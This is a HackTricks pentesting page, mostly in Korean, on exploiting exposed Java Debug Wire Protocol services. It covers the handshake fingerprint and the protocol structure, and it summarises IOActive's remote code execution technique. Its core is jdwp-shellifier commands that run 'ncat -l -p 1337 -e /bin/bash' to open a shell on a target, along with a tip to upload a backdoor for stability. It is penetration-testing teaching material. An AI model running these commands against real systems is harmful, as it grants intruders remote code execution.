# Pentesting JDWP - Java Debug Wire Protocol {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**취약점 평가 및 침투 ν…ŒμŠ€νŠΈλ₯Ό μœ„ν•œ μ¦‰μ‹œ μ‚¬μš© κ°€λŠ₯ν•œ μ„€μ •**. 20개 μ΄μƒμ˜ 도ꡬ 및 κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ μ–΄λ””μ„œλ‚˜ 전체 침투 ν…ŒμŠ€νŠΈλ₯Ό μ‹€ν–‰ν•˜μ„Έμš”. μš°λ¦¬λŠ” 침투 ν…ŒμŠ€ν„°λ₯Ό λŒ€μ²΄ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€ - μš°λ¦¬λŠ” 그듀이 더 깊이 νŒŒκ³ λ“€κ³ , μ‰˜μ„ ν„°λœ¨λ¦¬κ³ , 재미λ₯Ό λŠλ‚„ 수 μžˆλ„λ‘ λ§žμΆ€ν˜• 도ꡬ, 탐지 및 μ•…μš© λͺ¨λ“ˆμ„ κ°œλ°œν•©λ‹ˆλ‹€. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Exploiting JDWP μ•…μš©μ€ **ν”„λ‘œν† μ½œμ˜ 인증 및 μ•”ν˜Έν™” λΆ€μ‘±**에 달렀 μžˆμŠ΅λ‹ˆλ‹€. 일반적으둜 **포트 8000**μ—μ„œ λ°œκ²¬λ˜μ§€λ§Œ λ‹€λ₯Έ ν¬νŠΈλ„ κ°€λŠ₯ν•©λ‹ˆλ‹€. 초기 연결은 λŒ€μƒ ν¬νŠΈμ— "JDWP-Handshake"λ₯Ό μ „μ†‘ν•˜μ—¬ μ΄λ£¨μ–΄μ§‘λ‹ˆλ‹€. JDWP μ„œλΉ„μŠ€κ°€ ν™œμ„±ν™”λ˜μ–΄ 있으면 λ™μΌν•œ λ¬Έμžμ—΄λ‘œ μ‘λ‹΅ν•˜μ—¬ 쑴재λ₯Ό ν™•μΈν•©λ‹ˆλ‹€. 이 ν•Έλ“œμ…°μ΄ν¬λŠ” λ„€νŠΈμ›Œν¬μ—μ„œ JDWP μ„œλΉ„μŠ€λ₯Ό μ‹λ³„ν•˜λŠ” 지문 인식 λ°©λ²•μœΌλ‘œ μž‘μš©ν•©λ‹ˆλ‹€. ν”„λ‘œμ„ΈμŠ€ 식별 μΈ‘λ©΄μ—μ„œ Java ν”„λ‘œμ„ΈμŠ€μ—μ„œ "jdwk" λ¬Έμžμ—΄μ„ κ²€μƒ‰ν•˜λ©΄ ν™œμ„± JDWP μ„Έμ…˜μ„ λ‚˜νƒ€λ‚Ό 수 μžˆμŠ΅λ‹ˆλ‹€. μ£Όμš” λ„κ΅¬λŠ” [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)μž…λ‹ˆλ‹€. λ‹€μ–‘ν•œ λ§€κ°œλ³€μˆ˜μ™€ ν•¨κ»˜ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```bash ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ``` I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **stable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable. ## More details **This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details. 1. **JDWP κ°œμš”**: - νŒ¨ν‚· 기반의 λ„€νŠΈμ›Œν¬ 이진 ν”„λ‘œν† μ½œλ‘œ, 주둜 λ™κΈ°μ‹μž…λ‹ˆλ‹€. - 인증 및 μ•”ν˜Έν™”κ°€ λΆ€μ‘±ν•˜μ—¬ μ λŒ€μ μΈ λ„€νŠΈμ›Œν¬μ— λ…ΈμΆœλ  경우 μ·¨μ•½ν•©λ‹ˆλ‹€. 2. **JDWP ν•Έλ“œμ…°μ΄ν¬**: - 톡신을 μ‹œμž‘ν•˜κΈ° μœ„ν•΄ κ°„λ‹¨ν•œ ν•Έλ“œμ…°μ΄ν¬ ν”„λ‘œμ„ΈμŠ€κ°€ μ‚¬μš©λ©λ‹ˆλ‹€. 디버거(ν΄λΌμ΄μ–ΈνŠΈ)와 디버기(μ„œλ²„) 간에 14자 ASCII λ¬Έμžμ—΄ β€œJDWP-Handshake”가 κ΅ν™˜λ©λ‹ˆλ‹€. 3. **JDWP 톡신**: - λ©”μ‹œμ§€λŠ” 길이, ID, ν”Œλž˜κ·Έ 및 λͺ…λ Ή 집합과 같은 ν•„λ“œλ₯Ό 가진 κ°„λ‹¨ν•œ ꡬ쑰λ₯Ό 가지고 μžˆμŠ΅λ‹ˆλ‹€. - CommandSet 값은 0x40μ—μ„œ 0x80κΉŒμ§€ λ‹€μ–‘ν•˜λ©°, μ„œλ‘œ λ‹€λ₯Έ λ™μž‘ 및 이벀트λ₯Ό λ‚˜νƒ€λƒ…λ‹ˆλ‹€. 4. **μ•…μš©**: - JDWPλŠ” μž„μ˜μ˜ ν΄λž˜μŠ€μ™€ λ°”μ΄νŠΈμ½”λ“œλ₯Ό λ‘œλ“œν•˜κ³  ν˜ΈμΆœν•  수 μžˆμ–΄ λ³΄μ•ˆ μœ„ν—˜μ„ μ΄ˆλž˜ν•©λ‹ˆλ‹€. - 이 κΈ°μ‚¬λŠ” Java Runtime μ°Έμ‘°λ₯Ό κ°€μ Έμ˜€κ³ , 쀑단점을 μ„€μ •ν•˜κ³ , λ©”μ„œλ“œλ₯Ό ν˜ΈμΆœν•˜λŠ” λ‹€μ„― λ‹¨κ³„μ˜ μ•…μš© ν”„λ‘œμ„ΈμŠ€λ₯Ό μžμ„Ένžˆ μ„€λͺ…ν•©λ‹ˆλ‹€. 5. **μ‹€μ œ μ•…μš©**: - 잠재적인 λ°©ν™”λ²½ λ³΄ν˜Έμ—λ„ λΆˆκ΅¬ν•˜κ³  JDWP μ„œλΉ„μŠ€λŠ” 발견 κ°€λŠ₯ν•˜λ©° μ‹€μ œ μ‹œλ‚˜λ¦¬μ˜€μ—μ„œ μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” ShodanHQ 및 GitHub와 같은 ν”Œλž«νΌμ—μ„œμ˜ 검색을 톡해 μž…μ¦λ©λ‹ˆλ‹€. - 이 μ•…μš© μŠ€ν¬λ¦½νŠΈλŠ” λ‹€μ–‘ν•œ JDK λ²„μ „μ—μ„œ ν…ŒμŠ€νŠΈλ˜μ—ˆμœΌλ©° ν”Œλž«νΌμ— 독립적이며 μ‹ λ’°ν•  수 μžˆλŠ” 원격 μ½”λ“œ μ‹€ν–‰(RCE)을 μ œκ³΅ν•©λ‹ˆλ‹€. 6. **λ³΄μ•ˆ 의미**: - 인터넷에 μ—΄λ¦° JDWP μ„œλΉ„μŠ€μ˜ μ‘΄μž¬λŠ” 정기적인 λ³΄μ•ˆ κ²€ν† , ν”„λ‘œλ•μ…˜μ—μ„œ 디버그 κΈ°λŠ₯ λΉ„ν™œμ„±ν™” 및 μ μ ˆν•œ λ°©ν™”λ²½ κ΅¬μ„±μ˜ ν•„μš”μ„±μ„ κ°•μ‘°ν•©λ‹ˆλ‹€. ### **References:** * [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)] * [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier) * [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html) * http://www.secdev.org/projects/scapy(no longer active) * [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE) * http://www.hsc-news.com/archives/2013/000109.html (no longer active) * [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt) * https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults * [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html) * [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com) * [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) * [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
**μ¦‰μ‹œ μ‚¬μš© κ°€λŠ₯ν•œ 취약점 평가 및 침투 ν…ŒμŠ€νŠΈ μ„€μ •**. 20개 μ΄μƒμ˜ 도ꡬ 및 κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ μ–΄λ””μ„œλ‚˜ 전체 침투 ν…ŒμŠ€νŠΈλ₯Ό μ‹€ν–‰ν•˜μ„Έμš”. μš°λ¦¬λŠ” 침투 ν…ŒμŠ€ν„°λ₯Ό λŒ€μ²΄ν•˜μ§€ μ•ŠμœΌλ©°, 그듀이 더 깊이 νŒŒκ³ λ“€κ³ , μ‰˜μ„ ν„°λœ¨λ¦¬κ³ , 재미λ₯Ό λŠλ‚„ 수 μžˆλ„λ‘ λ§žμΆ€ν˜• 도ꡬ, 탐지 및 μ•…μš© λͺ¨λ“ˆμ„ κ°œλ°œν•©λ‹ˆλ‹€. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **ν•΄ν‚Ή νŠΈλ¦­μ„ κ³΅μœ ν•˜λ €λ©΄ [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 μ œμΆœν•˜μ„Έμš”.**
{% endhint %}